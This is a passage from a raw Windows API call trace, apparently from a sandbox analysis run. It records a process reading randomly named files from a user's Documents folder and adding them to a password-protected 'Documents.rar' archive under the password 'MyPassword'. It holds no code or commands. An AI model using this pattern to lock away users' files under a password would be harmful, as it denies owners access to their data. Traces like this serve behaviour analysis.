lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1b34a0 [0083.087] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1b34a0 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.087] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888ea0 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.087] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888810 [0083.087] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0083.087] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0083.087] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079fb0 | out: hHeap=0x1162e7c0000) returned 1 [0083.087] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.087] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e888ea0 [0083.087] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7d) returned 0x1163205e150 [0083.087] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205e153*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205e153*, lpNumberOfBytesWritten=0x141a0d82c0*=0x7a, lpOverlapped=0x0) returned 1 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0083.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x7a) returned 0x1163205e390 [0083.087] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0083.087] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e150 | out: hHeap=0x1162e7c0000) returned 1 [0083.088] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1c0f9a [0083.088] CloseHandle (hObject=0x350) returned 1 [0083.088] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.088] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.088] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.088] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.088] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.088] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.088] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\r2r4mflana2enke.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.088] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.088] GetTickCount () returned 0x2a927 [0083.088] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.088] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.088] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.088] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.088] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="QrQLcl.csv") returned 10 [0083.088] SetWindowTextW (hWnd=0x10300, lpString="R2r4mFlAna2enKE.odp") returned 1 [0083.091] GetTickCount () returned 0x2a936 [0083.091] UpdateWindow (hWnd=0x102f8) returned 1 [0083.091] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.091] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.091] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.091] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.091] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x249)) [0083.091] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.091] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17441969475) returned 1 [0083.091] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x754a, lpOverlapped=0x0) returned 1 [0083.092] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9558a, nNumberOfBytesToRead=0xf8ab6, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9558a*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.092] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.092] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.092] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0083.092] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.092] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.092] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888900 [0083.092] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.092] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.093] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.093] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.093] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.093] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0083.093] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x4a) returned 0x1163204d460 [0083.093] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x86) returned 0x1163205cf50 [0083.093] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.093] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cf50 | out: hHeap=0x1162e7c0000) returned 1 [0083.095] GetTickCount () returned 0x2a936 [0083.095] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17442368944) returned 1 [0083.095] GetTickCount () returned 0x2a936 [0083.095] GetTickCount () returned 0x2a936 [0083.095] GetTickCount () returned 0x2a936 [0083.095] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.095] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.095] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.096] ResetEvent (hEvent=0x344) returned 1 [0083.096] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.097] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.097] ResetEvent (hEvent=0x344) returned 1 [0083.097] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.099] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.099] GetTickCount () returned 0x2a936 [0083.099] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17442733852) returned 1 [0083.099] GetTickCount () returned 0x2a936 [0083.099] GetTickCount () returned 0x2a936 [0083.099] GetTickCount () returned 0x2a936 [0083.099] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.099] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.099] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.099] ResetEvent (hEvent=0x33c) returned 1 [0083.099] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.099] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.100] ResetEvent (hEvent=0x33c) returned 1 [0083.100] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.100] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.100] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.100] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.100] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1c0f9a [0083.100] SetFilePointer (in: hFile=0x32c, lDistanceToMove=131, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1c101d [0083.100] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.100] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.100] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.100] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.101] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x75a0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x75a0, lpOverlapped=0x0) returned 1 [0083.101] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.101] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.101] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1839002, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1c0f9a [0083.101] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1c0f9a [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.101] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e888ea0 [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9f0 [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.101] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ef0 [0083.101] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9f0 | out: hHeap=0x1162e7c0000) returned 1 [0083.101] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.101] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.101] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0083.101] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x4a) returned 0x1163204d460 [0083.101] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x86) returned 0x1163205da90 [0083.101] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205da93*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205da93*, lpNumberOfBytesWritten=0x141a0d82c0*=0x83, lpOverlapped=0x0) returned 1 [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.101] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x83) returned 0x1163205d4f0 [0083.102] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0083.102] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205da90 | out: hHeap=0x1162e7c0000) returned 1 [0083.102] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1c85bd [0083.102] CloseHandle (hObject=0x350) returned 1 [0083.102] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.102] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.102] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.102] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.102] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d580 [0083.102] FindClose (in: hFindFile=0x1163204d580 | out: hFindFile=0x1163204d580) returned 1 [0083.102] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\wkv89hdvoza.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.102] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.102] GetTickCount () returned 0x2a936 [0083.102] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.102] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.102] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.102] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.102] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="R2r4mFlAna2enKE.odp") returned 19 [0083.102] SetWindowTextW (hWnd=0x10300, lpString="WKv89hDvOzA.pptx") returned 1 [0083.103] GetTickCount () returned 0x2a936 [0083.103] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.103] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.103] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.103] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.103] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x249)) [0083.103] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.103] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17443201816) returned 1 [0083.103] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xad2d, lpOverlapped=0x0) returned 1 [0083.104] ReadFile (in: hFile=0x350, lpBuffer=0x11631b98d6d, nNumberOfBytesToRead=0xf52d3, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b98d6d*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.106] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.106] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.106] GetFocus () returned 0x1031c [0083.106] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.106] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.106] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.106] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.106] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e8893a0 [0083.106] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0083.106] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.106] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e8893f0 [0083.106] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.106] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.106] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.106] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.106] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a070 | out: hHeap=0x1162e7c0000) returned 1 [0083.106] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0083.106] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888810 [0083.106] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888810, Size=0x7a) returned 0x1163205e030 [0083.106] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893f0 | out: hHeap=0x1162e7c0000) returned 1 [0083.106] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e030 | out: hHeap=0x1162e7c0000) returned 1 [0083.107] GetTickCount () returned 0x2a946 [0083.107] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17443591628) returned 1 [0083.107] GetTickCount () returned 0x2a946 [0083.107] GetTickCount () returned 0x2a946 [0083.107] GetTickCount () returned 0x2a946 [0083.107] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.107] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.108] GetFocus () returned 0x1031c [0083.108] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.108] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.108] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.109] ResetEvent (hEvent=0x344) returned 1 [0083.109] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.111] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.111] ResetEvent (hEvent=0x344) returned 1 [0083.111] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.112] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.114] GetTickCount () returned 0x2a946 [0083.119] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17444793067) returned 1 [0083.119] GetTickCount () returned 0x2a946 [0083.119] GetTickCount () returned 0x2a946 [0083.119] GetTickCount () returned 0x2a946 [0083.119] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.119] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.119] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.120] ResetEvent (hEvent=0x33c) returned 1 [0083.120] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.529] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.529] ResetEvent (hEvent=0x33c) returned 1 [0083.529] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.530] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.530] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.533] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.533] GetFocus () returned 0x1031c [0083.533] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0083.534] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.534] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1c85bd [0083.534] SetFilePointer (in: hFile=0x32c, lDistanceToMove=119, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1c8634 [0083.534] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.534] WideCharToMultiByte (in: CodePage=0x0, 